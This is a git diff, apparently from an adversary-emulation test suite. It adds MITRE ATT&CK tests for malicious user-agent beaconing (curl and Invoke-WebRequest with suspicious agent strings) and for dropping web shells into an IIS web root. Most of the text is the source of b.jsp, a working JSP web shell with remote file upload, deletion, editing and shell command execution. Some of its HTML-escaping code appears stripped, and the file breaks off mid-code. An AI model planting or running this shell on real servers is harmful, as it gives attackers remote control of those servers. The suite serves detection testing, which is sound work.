diff --git a/atomics/T1071/T1071.md b/atomics/T1071/T1071.md
new file mode 100644
index 00000000..449f218a
--- /dev/null
+++ b/atomics/T1071/T1071.md
@@ -0,0 +1,57 @@
+# T1071 - Standard Application Layer Protocol
+## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1071)
+
Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
+
+For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.
+
+## Atomic Tests
+
+- [Atomic Test #1 - Malicious User Agents](#atomic-test-1---malicious-user-agents)
+
+- [Atomic Test #2 - Malicious User Agents - Nix](#atomic-test-2---malicious-user-agents---nix)
+
+
+
+
+## Atomic Test #1 - Malicious User Agents
+This test simulates an infected host beaconing to command and control.
+Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
+
+**Supported Platforms:** Windows
+
+
+#### Inputs
+| Name | Description | Type | Default Value |
+|------|-------------|------|---------------|
+| domain | Default domain to simulate against | string | www.google.com|
+
+#### Run it with `powershell`!
+```
+Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
+Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
+Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
+Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null
+```
+
+
+
+## Atomic Test #2 - Malicious User Agents - Nix
+This test simulates an infected host beaconing to command and control.
+Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
+
+**Supported Platforms:** Linux, macOS
+
+
+#### Inputs
+| Name | Description | Type | Default Value |
+|------|-------------|------|---------------|
+| domain | Default domain to simulate against | string | www.google.com|
+
+#### Run it with `sh`!
+```
+curl -s -A "HttpBrowser/1.0" -m3 #{domain}
+curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
+curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
+curl -s -A "*<|>*" -m3 #{domain}
+```
+
diff --git a/atomics/T1071/T1071.yaml b/atomics/T1071/T1071.yaml
new file mode 100644
index 00000000..e700ea4f
--- /dev/null
+++ b/atomics/T1071/T1071.yaml
@@ -0,0 +1,45 @@
+---
+attack_technique: T1071
+display_name: Standard Application Layer Protocol
+
+atomic_tests:
+- name: Malicious User Agents
+ description: |
+ This test simulates an infected host beaconing to command and control.
+ Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
+
+ supported_platforms:
+ - windows
+ input_arguments:
+ domain:
+ description: Default domain to simulate against
+ type: string
+ default: www.google.com
+ executor:
+ name: powershell
+ command: |
+ Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
+ Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
+ Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
+ Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null
+
+- name: Malicious User Agents - Nix
+ description: |
+ This test simulates an infected host beaconing to command and control.
+ Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
+
+ supported_platforms:
+ - linux
+ - macos
+ input_arguments:
+ domain:
+ description: Default domain to simulate against
+ type: string
+ default: www.google.com
+ executor:
+ name: sh
+ command: |
+ curl -s -A "HttpBrowser/1.0" -m3 #{domain}
+ curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
+ curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
+ curl -s -A "*<|>*" -m3 #{domain}
diff --git a/atomics/T1100/T1100.md b/atomics/T1100/T1100.md
new file mode 100644
index 00000000..9f2ac967
--- /dev/null
+++ b/atomics/T1100/T1100.md
@@ -0,0 +1,32 @@
+# T1100 - Web Shell
+## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1100)
+
A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)
+
+Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.
+
+## Atomic Tests
+
+- [Atomic Test #1 - Web Shell Written to Disk](#atomic-test-1---web-shell-written-to-disk)
+
+
+
+
+## Atomic Test #1 - Web Shell Written to Disk
+This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
+Idea from APTSimulator.
+cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
+
+**Supported Platforms:** Windows
+
+
+#### Inputs
+| Name | Description | Type | Default Value |
+|------|-------------|------|---------------|
+| web_shell_path | The path to drop the web shell | string | C:\inetpub\wwwroot|
+| web_shells | Path of Web Shell | path | C:\AtomicRedTeam\atomics\T1100\shells\|
+
+#### Run it with `command_prompt`!
+```
+xcopy #{web_shells} #{web_shell_path}
+```
+
diff --git a/atomics/T1100/T1100.yaml b/atomics/T1100/T1100.yaml
new file mode 100644
index 00000000..62cce486
--- /dev/null
+++ b/atomics/T1100/T1100.yaml
@@ -0,0 +1,26 @@
+---
+attack_technique: T1100
+display_name: Web Shell
+
+atomic_tests:
+- name: Web Shell Written to Disk
+ description: |
+ This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
+ Idea from APTSimulator.
+ cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
+
+ supported_platforms:
+ - windows
+ input_arguments:
+ web_shell_path:
+ description: The path to drop the web shell
+ type: string
+ default: C:\inetpub\wwwroot
+ web_shells:
+ description: Path of Web Shell
+ type: path
+ default: C:\AtomicRedTeam\atomics\T1100\shells\
+ executor:
+ name: command_prompt
+ command: |
+ xcopy #{web_shells} #{web_shell_path}
diff --git a/atomics/T1100/shells/b.jsp b/atomics/T1100/shells/b.jsp
new file mode 100644
index 00000000..4db7e751
--- /dev/null
+++ b/atomics/T1100/shells/b.jsp
@@ -0,0 +1,1964 @@
+<%--
+ Document : Browser
+ Created on : 3/Out/2011, 21:18:45
+ Author : jeanfigueiredo
+--%>
+
+<%@page import="java.text.DateFormat"%>
+<%--
+ jsp File browser 1.2
+ Copyright (C) 2003-2006 Boris von Loesch
+ This program is free software; you can redistribute it and/or modify it under
+ the terms of the GNU General Public License as published by the
+ Free Software Foundation; either version 2 of the License, or (at your option)
+ any later version.
+ This program is distributed in the hope that it will be useful, but
+ WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+ You should have received a copy of the GNU General Public License along with
+ this program; if not, write to the
+ Free Software Foundation, Inc.,
+ 59 Temple Place, Suite 330,
+ Boston, MA 02111-1307 USA
+ - Description: jsp File browser v1.2 -- This JSP program allows remote web-based
+ file access and manipulation. You can copy, create, move and delete files.
+ Text files can be edited and groups of files and folders can be downloaded
+ as a single zip file that's created on the fly.
+ - Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts
+--%>
+<%@page import="java.util.*,
+ java.net.*,
+ java.text.*,
+ java.util.zip.*,
+ java.io.*"
+%>
+<%!
+ //FEATURES
+ private static final boolean NATIVE_COMMANDS = true;
+ /**
+ *If true, all operations (besides upload and native commands)
+ *which change something on the file system are permitted
+ */
+ private static final boolean READ_ONLY = false;
+ //If true, uploads are allowed even if READ_ONLY = true
+ private static final boolean ALLOW_UPLOAD = true;
+
+ //Allow browsing and file manipulation only in certain directories
+ private static final boolean RESTRICT_BROWSING = true;
+ //If true, the user is allowed to browse only in RESTRICT_PATH,
+ //if false, the user is allowed to browse all directories besides RESTRICT_PATH
+ private static final boolean RESTRICT_WHITELIST = false;
+ //Paths, sperated by semicolon
+ //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!!
+ private static final String RESTRICT_PATH = "/etc;/var";
+
+ //The refresh time in seconds of the upload monitor window
+ private static final int UPLOAD_MONITOR_REFRESH = 2;
+ //The number of colums for the edit field
+ private static final int EDITFIELD_COLS = 85;
+ //The number of rows for the edit field
+ private static final int EDITFIELD_ROWS = 30;
+ //Open a new window to view a file
+ private static final boolean USE_POPUP = true;
+ /**
+ * If USE_DIR_PREVIEW = true, then for every directory a tooltip will be
+ * created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries.
+ * This can yield to performance issues. Turn it off, if the directory loads to slow.
+ */
+ private static final boolean USE_DIR_PREVIEW = false;
+ private static final int DIR_PREVIEW_NUMBER = 10;
+ /**
+ * The name of an optional CSS Stylesheet file
+ */
+ private static final String CSS_NAME = "Browser.css";
+ /**
+ * The compression level for zip file creation (0-9)
+ * 0 = No compression
+ * 1 = Standard compression (Very fast)
+ * ...
+ * 9 = Best compression (Very slow)
+ */
+ private static final int COMPRESSION_LEVEL = 1;
+ /**
+ * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the
+ * server runs on a windows platform, to avoid a message box, if you try to access
+ * an empty removable drive (See KNOWN BUGS in Readme.txt).
+ */
+ private static final String[] FORBIDDEN_DRIVES = {"a:\\"};
+
+ /**
+ * Command of the shell interpreter and the parameter to run a programm
+ */
+ private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
+ //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
+
+ /**
+ * Max time in ms a process is allowed to run, before it will be terminated
+ */
+ private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds
+
+ //Button names
+ private static final String SAVE_AS_ZIP = "Download selected files as (z)ip";
+ private static final String RENAME_FILE = "(R)ename File";
+ private static final String DELETE_FILES = "(Del)ete selected files";
+ private static final String CREATE_DIR = "Create (D)ir";
+ private static final String CREATE_FILE = "(C)reate File";
+ private static final String MOVE_FILES = "(M)ove Files";
+ private static final String COPY_FILES = "Cop(y) Files";
+ private static final String LAUNCH_COMMAND = "(L)aunch external program";
+ private static final String UPLOAD_FILES = "Upload";
+
+ //Normally you should not change anything after this line
+ //----------------------------------------------------------------------------------
+ //Change this to locate the tempfile directory for upload (not longer needed)
+ private static String tempdir = ".";
+ private static String VERSION_NR = "1.2";
+ private static DateFormat dateFormat = DateFormat.getDateTimeInstance();
+
+ public class UplInfo {
+
+ public long totalSize;
+ public long currSize;
+ public long starttime;
+ public boolean aborted;
+
+ public UplInfo() {
+ totalSize = 0l;
+ currSize = 0l;
+ starttime = System.currentTimeMillis();
+ aborted = false;
+ }
+
+ public UplInfo(int size) {
+ totalSize = size;
+ currSize = 0;
+ starttime = System.currentTimeMillis();
+ aborted = false;
+ }
+
+ public String getUprate() {
+ long time = System.currentTimeMillis() - starttime;
+ if (time != 0) {
+ long uprate = currSize * 1000 / time;
+ return convertFileSize(uprate) + "/s";
+ }
+ else return "n/a";
+ }
+
+ public int getPercent() {
+ if (totalSize == 0) return 0;
+ else return (int) (currSize * 100 / totalSize);
+ }
+
+ public String getTimeElapsed() {
+ long time = (System.currentTimeMillis() - starttime) / 1000l;
+ if (time - 60l >= 0){
+ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
+ else return time / 60 + ":0" + (time % 60) + "m";
+ }
+ else return time<10 ? "0" + time + "s": time + "s";
+ }
+
+ public String getTimeEstimated() {
+ if (currSize == 0) return "n/a";
+ long time = System.currentTimeMillis() - starttime;
+ time = totalSize * time / currSize;
+ time /= 1000l;
+ if (time - 60l >= 0){
+ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
+ else return time / 60 + ":0" + (time % 60) + "m";
+ }
+ else return time<10 ? "0" + time + "s": time + "s";
+ }
+
+ }
+
+ public class FileInfo {
+
+ public String name = null, clientFileName = null, fileContentType = null;
+ private byte[] fileContents = null;
+ public File file = null;
+ public StringBuffer sb = new StringBuffer(100);
+
+ public void setFileContents(byte[] aByteArray) {
+ fileContents = new byte[aByteArray.length];
+ System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
+ }
+ }
+
+ public static class UploadMonitor {
+
+ static Hashtable uploadTable = new Hashtable();
+
+ static void set(String fName, UplInfo info) {
+ uploadTable.put(fName, info);
+ }
+
+ static void remove(String fName) {
+ uploadTable.remove(fName);
+ }
+
+ static UplInfo getInfo(String fName) {
+ UplInfo info = (UplInfo) uploadTable.get(fName);
+ return info;
+ }
+ }
+
+ // A Class with methods used to process a ServletInputStream
+ public class HttpMultiPartParser {
+
+ //private final String lineSeparator = System.getProperty("line.separator", "\n");
+ private final int ONE_MB = 1024 * 1;
+
+ public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
+ int clength) throws IllegalArgumentException, IOException {
+ if (is == null) throw new IllegalArgumentException("InputStream");
+ if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
+ "\"" + boundary + "\" is an illegal boundary indicator");
+ boundary = "--" + boundary;
+ StringTokenizer stLine = null, stFields = null;
+ FileInfo fileInfo = null;
+ Hashtable dataTable = new Hashtable(5);
+ String line = null, field = null, paramName = null;
+ boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
+ boolean isFile = false;
+ if (saveFiles) { // Create the required directory (including parent dirs)
+ File f = new File(saveInDir);
+ f.mkdirs();
+ }
+ line = getLine(is);
+ if (line == null || !line.startsWith(boundary)) throw new IOException(
+ "Boundary not found; boundary = " + boundary + ", line = " + line);
+ while (line != null) {
+ if (line == null || !line.startsWith(boundary)) return dataTable;
+ line = getLine(is);
+ if (line == null) return dataTable;
+ stLine = new StringTokenizer(line, ";\r\n");
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in second line");
+ line = stLine.nextToken().toLowerCase();
+ if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
+ "Bad data in second line");
+ stFields = new StringTokenizer(stLine.nextToken(), "=\"");
+ if (stFields.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in second line");
+ fileInfo = new FileInfo();
+ stFields.nextToken();
+ paramName = stFields.nextToken();
+ isFile = false;
+ if (stLine.hasMoreTokens()) {
+ field = stLine.nextToken();
+ stFields = new StringTokenizer(field, "=\"");
+ if (stFields.countTokens() > 1) {
+ if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
+ fileInfo.name = paramName;
+ String value = stFields.nextToken();
+ if (value != null && value.trim().length() > 0) {
+ fileInfo.clientFileName = value;
+ isFile = true;
+ }
+ else {
+ line = getLine(is); // Skip "Content-Type:" line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Position to boundary line
+ continue;
+ }
+ }
+ }
+ else if (field.toLowerCase().indexOf("filename") >= 0) {
+ line = getLine(is); // Skip "Content-Type:" line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Position to boundary line
+ continue;
+ }
+ }
+ boolean skipBlankLine = true;
+ if (isFile) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ if (line.trim().length() < 1) skipBlankLine = false;
+ else {
+ stLine = new StringTokenizer(line, ": ");
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in third line");
+ stLine.nextToken(); // Content-Type
+ fileInfo.fileContentType = stLine.nextToken();
+ }
+ }
+ if (skipBlankLine) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ }
+ if (!isFile) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ dataTable.put(paramName, line);
+ // If parameter is dir, change saveInDir to dir
+ if (paramName.equals("dir")) saveInDir = line;
+ line = getLine(is);
+ continue;
+ }
+ try {
+ UplInfo uplInfo = new UplInfo(clength);
+ UploadMonitor.set(fileInfo.clientFileName, uplInfo);
+ OutputStream os = null;
+ String path = null;
+ if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
+ fileInfo.clientFileName));
+ else os = new ByteArrayOutputStream(ONE_MB);
+ boolean readingContent = true;
+ byte previousLine[] = new byte[2 * ONE_MB];
+ byte temp[] = null;
+ byte currentLine[] = new byte[2 * ONE_MB];
+ int read, read3;
+ if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
+ line = null;
+ break;
+ }
+ while (readingContent) {
+ if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
+ line = null;
+ uplInfo.aborted = true;
+ break;
+ }
+ if (compareBoundary(boundary, currentLine)) {
+ os.write(previousLine, 0, read - 2);
+ line = new String(currentLine, 0, read3);
+ break;
+ }
+ else {
+ os.write(previousLine, 0, read);
+ uplInfo.currSize += read;
+ temp = currentLine;
+ currentLine = previousLine;
+ previousLine = temp;
+ read = read3;
+ }//end else
+ }//end while
+ os.flush();
+ os.close();
+ if (!saveFiles) {
+ ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
+ fileInfo.setFileContents(baos.toByteArray());
+ }
+ else fileInfo.file = new File(path);
+ dataTable.put(paramName, fileInfo);
+ uplInfo.currSize = uplInfo.totalSize;
+ }//end try
+ catch (IOException e) {
+ throw e;
+ }
+ }
+ return dataTable;
+ }
+
+ /**
+ * Compares boundary string to byte array
+ */
+ private boolean compareBoundary(String boundary, byte ba[]) {
+ if (boundary == null || ba == null) return false;
+ for (int i = 0; i < boundary.length(); i++)
+ if ((byte) boundary.charAt(i) != ba[i]) return false;
+ return true;
+ }
+
+ /** Convenience method to read HTTP header lines */
+ private synchronized String getLine(ServletInputStream sis) throws IOException {
+ byte b[] = new byte[1024];
+ int read = sis.readLine(b, 0, b.length), index;
+ String line = null;
+ if (read != -1) {
+ line = new String(b, 0, read);
+ if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
+ }
+ return line;
+ }
+
+ public String getFileName(String dir, String fileName) throws IllegalArgumentException {
+ String path = null;
+ if (dir == null || fileName == null) throw new IllegalArgumentException(
+ "dir or fileName is null");
+ int index = fileName.lastIndexOf('/');
+ String name = null;
+ if (index >= 0) name = fileName.substring(index + 1);
+ else name = fileName;
+ index = name.lastIndexOf('\\');
+ if (index >= 0) fileName = name.substring(index + 1);
+ path = dir + File.separator + fileName;
+ if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
+ else return path.replace('/', File.separatorChar);
+ }
+ } //End of class HttpMultiPartParser
+
+ /**
+ * This class is a comparator to sort the filenames and dirs
+ */
+ class FileComp implements Comparator {
+
+ int mode;
+ int sign;
+
+ FileComp() {
+ this.mode = 1;
+ this.sign = 1;
+ }
+
+ /**
+ * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type
+ * The default sorting method is by Name
+ * Negative mode means descending sort
+ */
+ FileComp(int mode) {
+ if (mode < 0) {
+ this.mode = -mode;
+ sign = -1;
+ }
+ else {
+ this.mode = mode;
+ this.sign = 1;
+ }
+ }
+
+ public int compare(Object o1, Object o2) {
+ File f1 = (File) o1;
+ File f2 = (File) o2;
+ if (f1.isDirectory()) {
+ if (f2.isDirectory()) {
+ switch (mode) {
+ //Filename or Type
+ case 1:
+ case 4:
+ return sign
+ * f1.getAbsolutePath().toUpperCase().compareTo(
+ f2.getAbsolutePath().toUpperCase());
+ //Filesize
+ case 2:
+ return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
+ //Date
+ case 3:
+ return sign
+ * (new Long(f1.lastModified())
+ .compareTo(new Long(f2.lastModified())));
+ default:
+ return 1;
+ }
+ }
+ else return -1;
+ }
+ else if (f2.isDirectory()) return 1;
+ else {
+ switch (mode) {
+ case 1:
+ return sign
+ * f1.getAbsolutePath().toUpperCase().compareTo(
+ f2.getAbsolutePath().toUpperCase());
+ case 2:
+ return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
+ case 3:
+ return sign
+ * (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())));
+ case 4: { // Sort by extension
+ int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.');
+ int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.');
+ if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension
+ return sign
+ * f1.getAbsolutePath().toUpperCase().compareTo(
+ f2.getAbsolutePath().toUpperCase());
+ }
+ // f1 has no extension
+ else if (tempIndexf1 == -1) return -sign;
+ // f2 has no extension
+ else if (tempIndexf2 == -1) return sign;
+ // Both have an extension
+ else {
+ String tempEndf1 = f1.getAbsolutePath().toUpperCase()
+ .substring(tempIndexf1);
+ String tempEndf2 = f2.getAbsolutePath().toUpperCase()
+ .substring(tempIndexf2);
+ return sign * tempEndf1.compareTo(tempEndf2);
+ }
+ }
+ default:
+ return 1;
+ }
+ }
+ }
+ }
+
+ /**
+ * Wrapperclass to wrap an OutputStream around a Writer
+ */
+ class Writer2Stream extends OutputStream {
+
+ Writer out;
+
+ Writer2Stream(Writer w) {
+ super();
+ out = w;
+ }
+
+ public void write(int i) throws IOException {
+ out.write(i);
+ }
+
+ public void write(byte[] b) throws IOException {
+ for (int i = 0; i < b.length; i++) {
+ int n = b[i];
+ //Convert byte to ubyte
+ n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
+ out.write(n);
+ }
+ }
+
+ public void write(byte[] b, int off, int len) throws IOException {
+ for (int i = off; i < off + len; i++) {
+ int n = b[i];
+ n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
+ out.write(n);
+ }
+ }
+ } //End of class Writer2Stream
+
+ static Vector expandFileList(String[] files, boolean inclDirs) {
+ Vector v = new Vector();
+ if (files == null) return v;
+ for (int i = 0; i < files.length; i++)
+ v.add(new File(URLDecoder.decode(files[i])));
+ for (int i = 0; i < v.size(); i++) {
+ File f = (File) v.get(i);
+ if (f.isDirectory()) {
+ File[] fs = f.listFiles();
+ for (int n = 0; n < fs.length; n++)
+ v.add(fs[n]);
+ if (!inclDirs) {
+ v.remove(i);
+ i--;
+ }
+ }
+ }
+ return v;
+ }
+
+ /**
+ * Method to build an absolute path
+ * @param dir the root dir
+ * @param name the name of the new directory
+ * @return if name is an absolute directory, returns name, else returns dir+name
+ */
+ static String getDir(String dir, String name) {
+ if (!dir.endsWith(File.separator)) dir = dir + File.separator;
+ File mv = new File(name);
+ String new_dir = null;
+ if (!mv.isAbsolute()) {
+ new_dir = dir + name;
+ }
+ else new_dir = name;
+ return new_dir;
+ }
+
+ /**
+ * This Method converts a byte size in a kbytes or Mbytes size, depending on the size
+ * @param size The size in bytes
+ * @return String with size and unit
+ */
+ static String convertFileSize(long size) {
+ int divisor = 1;
+ String unit = "bytes";
+ if (size >= 1024 * 1024) {
+ divisor = 1024 * 1024;
+ unit = "MB";
+ }
+ else if (size >= 1024) {
+ divisor = 1024;
+ unit = "KB";
+ }
+ if (divisor == 1) return size / divisor + " " + unit;
+ String aftercomma = "" + 100 * (size % divisor) / divisor;
+ if (aftercomma.length() == 1) aftercomma = "0" + aftercomma;
+ return size / divisor + "." + aftercomma + " " + unit;
+ }
+
+ /**
+ * Copies all data from in to out
+ * @param in the input stream
+ * @param out the output stream
+ * @param buffer copy buffer
+ */
+ static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException {
+ copyStreamsWithoutClose(in, out, buffer);
+ in.close();
+ out.close();
+ }
+
+ /**
+ * Copies all data from in to out
+ * @param in the input stream
+ * @param out the output stream
+ * @param buffer copy buffer
+ */
+ static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer)
+ throws IOException {
+ int b;
+ while ((b = in.read(buffer)) != -1)
+ out.write(buffer, 0, b);
+ }
+
+ /**
+ * Returns the Mime Type of the file, depending on the extension of the filename
+ */
+ static String getMimeType(String fName) {
+ fName = fName.toLowerCase();
+ if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg";
+ else if (fName.endsWith(".gif")) return "image/gif";
+ else if (fName.endsWith(".pdf")) return "application/pdf";
+ else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html";
+ else if (fName.endsWith(".avi")) return "video/x-msvideo";
+ else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime";
+ else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg";
+ else if (fName.endsWith(".zip")) return "application/zip";
+ else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff";
+ else if (fName.endsWith(".rtf")) return "application/rtf";
+ else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi";
+ else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv")
+ || fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt")
+ || fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel";
+ else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword";
+ else if (fName.endsWith(".png")) return "image/png";
+ else if (fName.endsWith(".xml")) return "text/xml";
+ else if (fName.endsWith(".svg")) return "image/svg+xml";
+ else if (fName.endsWith(".mp3")) return "audio/mp3";
+ else if (fName.endsWith(".ogg")) return "audio/ogg";
+ else return "text/plain";
+ }
+
+ /**
+ * Converts some important chars (int) to the corresponding html string
+ */
+ static String conv2Html(int i) {
+ if (i == '&') return "&";
+ else if (i == '<') return "<";
+ else if (i == '>') return ">";
+ else if (i == '"') return """;
+ else return "" + (char) i;
+ }
+
+ /**
+ * Converts a normal string to a html conform string
+ */
+ static String conv2Html(String st) {
+ StringBuffer buf = new StringBuffer();
+ for (int i = 0; i < st.length(); i++) {
+ buf.append(conv2Html(st.charAt(i)));
+ }
+ return buf.toString();
+ }
+
+ /**
+ * Starts a native process on the server
+ * @param command the command to start the process
+ * @param dir the dir in which the process starts
+ */
+ static String startProcess(String command, String dir) throws IOException {
+ StringBuffer ret = new StringBuffer();
+ String[] comm = new String[3];
+ comm[0] = COMMAND_INTERPRETER[0];
+ comm[1] = COMMAND_INTERPRETER[1];
+ comm[2] = command;
+ long start = System.currentTimeMillis();
+ try {
+ //Start process
+ Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
+ //Get input and error streams
+ BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
+ BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());
+ boolean end = false;
+ while (!end) {
+ int c = 0;
+ while ((ls_err.available() > 0) && (++c <= 1000)) {
+ ret.append(conv2Html(ls_err.read()));
+ }
+ c = 0;
+ while ((ls_in.available() > 0) && (++c <= 1000)) {
+ ret.append(conv2Html(ls_in.read()));
+ }
+ try {
+ ls_proc.exitValue();
+ //if the process has not finished, an exception is thrown
+ //else
+ while (ls_err.available() > 0)
+ ret.append(conv2Html(ls_err.read()));
+ while (ls_in.available() > 0)
+ ret.append(conv2Html(ls_in.read()));
+ end = true;
+ }
+ catch (IllegalThreadStateException ex) {
+ //Process is running
+ }
+ //The process is not allowed to run longer than given time.
+ if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) {
+ ls_proc.destroy();
+ end = true;
+ ret.append("!!!! Process has timed out, destroyed !!!!!");
+ }
+ try {
+ Thread.sleep(50);
+ }
+ catch (InterruptedException ie) {}
+ }
+ }
+ catch (IOException e) {
+ ret.append("Error: " + e);
+ }
+ return ret.toString();
+ }
+
+ /**
+ * Converts a dir string to a linked dir string
+ * @param dir the directory string (e.g. /usr/local/httpd)
+ * @param browserLink web-path to Browser.jsp
+ */
+ static String dir2linkdir(String dir, String browserLink, int sortMode) {
+ File f = new File(dir);
+ StringBuffer buf = new StringBuffer();
+ while (f.getParentFile() != null) {
+ if (f.canRead()) {
+ String encPath = URLEncoder.encode(f.getAbsolutePath());
+ buf.insert(0, "" + conv2Html(f.getName()) + File.separator + "");
+ }
+ else buf.insert(0, conv2Html(f.getName()) + File.separator);
+ f = f.getParentFile();
+ }
+ if (f.canRead()) {
+ String encPath = URLEncoder.encode(f.getAbsolutePath());
+ buf.insert(0, "" + conv2Html(f.getAbsolutePath()) + "");
+ }
+ else buf.insert(0, f.getAbsolutePath());
+ return buf.toString();
+ }
+
+ /**
+ * Returns true if the given filename tends towards a packed file
+ */
+ static boolean isPacked(String name, boolean gz) {
+ return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar")
+ || (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase()
+ .endsWith(".war"));
+ }
+
+ /**
+ * If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not
+ */
+ static boolean isAllowed(File path, boolean write) throws IOException{
+ if (READ_ONLY && write) return false;
+ if (RESTRICT_BROWSING) {
+ StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";");
+ while (stk.hasMoreTokens()){
+ if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken()))
+ return RESTRICT_WHITELIST;
+ }
+ return !RESTRICT_WHITELIST;
+ }
+ else return true;
+ }
+
+ //---------------------------------------------------------------------------------------------------------------
+
+ %>
+<%
+ //Get the current browsing directory
+ request.setAttribute("dir", request.getParameter("dir"));
+ // The browser_name variable is used to keep track of the URI
+ // of the jsp file itself. It is used in all link-backs.
+ final String browser_name = request.getRequestURI();
+ final String FOL_IMG = "";
+ boolean nohtml = false;
+ boolean dir_view = true;
+ //Get Javascript
+ if (request.getParameter("Javascript") != null) {
+ dir_view = false;
+ nohtml = true;
